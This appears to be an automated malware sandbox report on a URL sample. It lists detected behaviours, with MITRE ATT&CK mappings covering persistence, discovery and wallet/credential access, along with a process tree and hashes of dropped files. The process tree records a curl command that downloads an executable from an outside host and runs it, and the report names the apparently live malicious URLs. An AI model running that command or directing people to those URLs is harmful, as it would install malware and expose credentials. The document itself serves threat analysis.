hxxps://www[.]divinex[.]to[:]443/get[.]php?id=16

user interaction
yes
max time kernel
80s
max time network
86s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/10/2026, 13:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://www.divinex.to:443/get.php?id=16
Sample261029-qc774azw6r

Score

8^/10

discovery persistence ransomware spyware

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
26	4256	curl.exe

Executes dropped EXE 2 IoCs

pid	Process
2696	0e5a447c0.exe
5184	0e5a447c0.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-53044966-3830981193-2402648431-1000\Software\Microsoft\Windows\CurrentVersion\Run\qemu-ga = "C:\\Users\\Admin\\AppData\\Local\\Temp\\0e5a447c0.exe"	0e5a447c0.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com
3	api.ipify.org
37	api.ipify.org

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\scrawls\glaacyuiangly.pdf	DvnX.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	0e5a447c0.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	0e5a447c0.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4052	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6124	chrome.exe
6124	chrome.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe
4656	DvnX.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe
Token: SeShutdownPrivilege	6124	chrome.exe
Token: SeCreatePagefilePrivilege	6124	chrome.exe

Suspicious use of FindShellTrayWindow 43 IoCs

pid	Process
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe
6124	chrome.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 6124 wrote to memory of 6140	6124	chrome.exe	89
PID 6124 wrote to memory of 2100	6124	chrome.exe	90
PID 6124 wrote to memory of 2100	6124	chrome.exe	90
PID 6124 wrote to memory of 4052	6124	chrome.exe	91
PID 6124 wrote to memory of 2920	6124	chrome.exe	93
PID 6124 wrote to memory of 2920	6124	chrome.exe	93
PID 6124 wrote to memory of 2516	6124	chrome.exe	95
PID 6124 wrote to memory of 3516	6124	chrome.exe	94
PID 6124 wrote to memory of 3516	6124	chrome.exe	94
PID 6124 wrote to memory of 2516	6124	chrome.exe	95
PID 6124 wrote to memory of 3560	6124	chrome.exe	96
PID 6124 wrote to memory of 3560	6124	chrome.exe	96
PID 6124 wrote to memory of 2848	6124	chrome.exe	97
PID 6124 wrote to memory of 5796	6124	chrome.exe	99
PID 6124 wrote to memory of 5796	6124	chrome.exe	99
PID 6124 wrote to memory of 2784	6124	chrome.exe	100
PID 6124 wrote to memory of 2784	6124	chrome.exe	100
PID 6124 wrote to memory of 1748	6124	chrome.exe	103
PID 6124 wrote to memory of 1748	6124	chrome.exe	103
PID 6124 wrote to memory of 4520	6124	chrome.exe	104
PID 6124 wrote to memory of 4520	6124	chrome.exe	104
PID 6124 wrote to memory of 1144	6124	chrome.exe	105
PID 6124 wrote to memory of 1144	6124	chrome.exe	105
PID 6124 wrote to memory of 2544	6124	chrome.exe	106
PID 6124 wrote to memory of 2544	6124	chrome.exe	106
PID 6124 wrote to memory of 5552	6124	chrome.exe	107
PID 6124 wrote to memory of 5552	6124	chrome.exe	107
PID 6124 wrote to memory of 1984	6124	chrome.exe	108
PID 6124 wrote to memory of 1984	6124	chrome.exe	108
PID 6124 wrote to memory of 4116	6124	chrome.exe	109
PID 4656 wrote to memory of 4256	4656	DvnX.exe	115
PID 4656 wrote to memory of 2696	4656	DvnX.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	26	curl/8.8.0

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.divinex.to:443/get.php?id=16
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:6124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffdce1cc728,0x7ffdce1cc734,0x7ffdce1cc740
  2⤵
  PID:6140
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1660,i,198752875266560219,11307289558524621001,262144 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=1916 /prefetch:2
  2⤵
  PID:2100
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1468,i,10337690601095212978,1186307946307865682,524288 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:11
  2⤵
  - System Time Discovery
  PID:4052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3064,i,324975193846509079,13841933078322733201,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:1
  2⤵
  PID:2920
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2316,i,14165565160568378778,8472792072539605538,524288 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:13
  2⤵
  PID:3516
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3068,i,16084292876024838405,9830026903664892072,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=3124 /prefetch:1
  2⤵
  PID:2516
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4684,i,2349917316279093680,2586271356810328603,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=4696 /prefetch:1
  2⤵
  PID:3560
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5196,i,15213593375501392517,14819592859160486237,524288 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:14
  2⤵
  PID:2848
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5284,i,9649131730936498715,10417359084056002765,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=5356 /prefetch:1
  2⤵
  PID:5796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5304,i,17732045324019538230,16089877944463607447,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:1
  2⤵
  PID:2784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5616,i,16733544057949867879,7772204104409476030,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:1
  2⤵
  PID:1748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5768,i,10071999600685174240,8363043168935582398,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:1
  2⤵
  PID:4520
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5244,i,14916461862458371241,10878696715239138059,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:1
  2⤵
  PID:1144
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6012,i,7346732887007169134,11051726521803206579,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:1
  2⤵
  PID:2544
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5884,i,13203177852975942135,13152981241226511923,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:1
  2⤵
  PID:5552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5360,i,2880782096370022370,13136359138308350749,2097152 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=6024 /prefetch:1
  2⤵
  PID:1984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5224,i,7902917791942255828,5942067874937757411,524288 --field-trial-handle=1928,i,14381161330895558812,9229965485905022496,262144 --variations-seed-version --mojo-platform-channel-handle=4428 /prefetch:14
  2⤵
  PID:4116

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:696

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2480

C:\Users\Admin\Desktop\DvnX\DvnX.exe
"C:\Users\Admin\Desktop\DvnX\DvnX.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -fs -o "C:\Users\Admin\AppData\Local\Temp\0e5a447c0.exe" "https://cdn.wpoler.help/qua.exe"
  2⤵
  - Downloads MZ/PE file
  PID:4256
- C:\Users\Admin\AppData\Local\Temp\0e5a447c0.exe
  "C:\Users\Admin\AppData\Local\Temp\0e5a447c0.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Reads the TCP/IP host and domain name from the registry
  PID:2696

C:\Users\Admin\AppData\Local\Temp\0e5a447c0.exe
C:\Users\Admin\AppData\Local\Temp\0e5a447c0.exe
1⤵
- Executes dropped EXE
PID:5184

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

3cb28878-fe20-42cd-9fb1-2fe4c53c13d5.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\3cb28878-fe20-42cd-9fb1-2fe4c53c13d5.tmp
Size 5KB
SHA256 c3581f868fa9acbee0fb17914cf2edc8e67917d0751c12edd3f6df49d5ce73ed
MD5 156c3fcecb80719647f5b4c4c1911f35
SHA1 fda5de08992d77abf901044faaab182827b2ab19
SHA512 9bc24b534d1450543d19f6fdbafae181e8f8eff9ef65a03c8f9c7d45ec9484b79e92fd626b965973e646c4dc64af6eb6dd2c1e1542d64c1ff1a6048f254b5951
SSDEEP 96:sC0d+qw+CWJKhPPf36v3tzGZSl8h4otok5SQvaDiB6CGyvr7jAixwzFW/2KF0r0V:sC0h2WJii5GfiUD1ciCqj9x7/2KF0rUL
TLSH
T1CBC11AB1A47D6C7B46F3D751B4132903CEB422AFA6147F54E6D91E1900FB1EE2382A23
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

81c4c7d1-28e1-401d-aa40-f69eee0afcf8.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\81c4c7d1-28e1-401d-aa40-f69eee0afcf8.tmp
Size 4KB
SHA256 6bc795552b72e993c39cf05db19936be18f5051ea3911374db79742e24b68b27
MD5 f20c184aaad9df45eda0885414207139
SHA1 87adcf71321695e8c01652336199d27991e27bac
SHA512 8b741cc8416280b0bbcf817b0b7d8618a0623fb2921cbc0d72c802eebf72e4224f5d1e11dbdfcc63d29cc22292aceac264f28a03fa4756f014fc63f1fbbb061f
SSDEEP 96:9C0d+qw+CWJKhPPf36v+twERDotok5SQvsDiB6WGyvr7w7csbm3v4a:9C0h2WJiiniDUD16iaqw7csbC
TLSH
T1A4A1F972D4685D7B89BBCA85B8432A07CFB4226BB521BF44D5DC1E0811F72ED1392A27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 f9a21e220ce7232c95dad34f0ceb290496dbbf4d1fcc0f5e17911409f73cfcb4
MD5 617cd5c9991a272457976928eb35b807
SHA1 99be2eb1ead0590e2b73ffbdbde54951540602c8
SHA512 a5dfe7dc0f0711ef62e6ac419c6c4edb5f7ae675e42bf339fb8978bb97209b5a3dae387b1587a1033039d9e04f0562f309b4f2516756243a9066a653e35bc716
MD5 SHA1 SHA512

Submit Download

39818c8c-0842-471c-be3d-76de22a9ea0b.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\39818c8c-0842-471c-be3d-76de22a9ea0b.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

8936efc6-0abf-4657-b6f8-9ecf3f7539a3.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\8936efc6-0abf-4657-b6f8-9ecf3f7539a3.tmp
Size 12KB
SHA256 6c5973518feb52f4c0ecd4e7628f17318e531430e03cec8a2de685c904d4b3ac
MD5 3edcc160f1fec7ec57343f2bac67bc06
SHA1 eab0812eb3b68e586c37a6bf20b9d520e09e7d8c
SHA512 fa47ba77125e0f08c2ccfdfa1463dbe212607da346f90999a07934cd004d12f4211a06050da22b5f0f56ec08ed584ad2d7449b243fd415b35502d923e7d815d6
SSDEEP 192:xBRM1yAw9ev7dvAPRp2tK9JHsb+WNnRRxiVXU2qdi2em9kwPPyIsnAUge:xBRM0lap6X3HwfEa2qk2em9Le
TLSH
T15A42B36EED20693B9CDEC219FD617B53D2F5102171912E88EAFC8D2C24E79DE2227407
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnWebGPUCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

History

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
Size 160KB
SHA256 cd2374727b181f8c1202342280292c9d56aa5ebe58625b6797d645d50cd89800
MD5 47b8bece14e752cc65dff3adb06e0e8f
SHA1 cf3ef173db581429ab243127955066c4f490aa73
SHA512 da68b6f6cb0dadd22a21e7ac81c0e15ced4cf7cd7f2c02ff50cb259b48bedb33b32eeeaab85124f6bec60afb85f594c75d9eae54437692186047553a9c38fce3
SSDEEP 96:JWbdC/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E00D:EpC/tH+bF+UI3iWGVYWNkqp3B
TLSH
T12DF32B6F6F643301CDBD527669E745F3983DF03F8B6326856C6114B0CEE2666A02C4BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2efc4691-60f3-404d-a7a8-64412cd90e6f.tmp

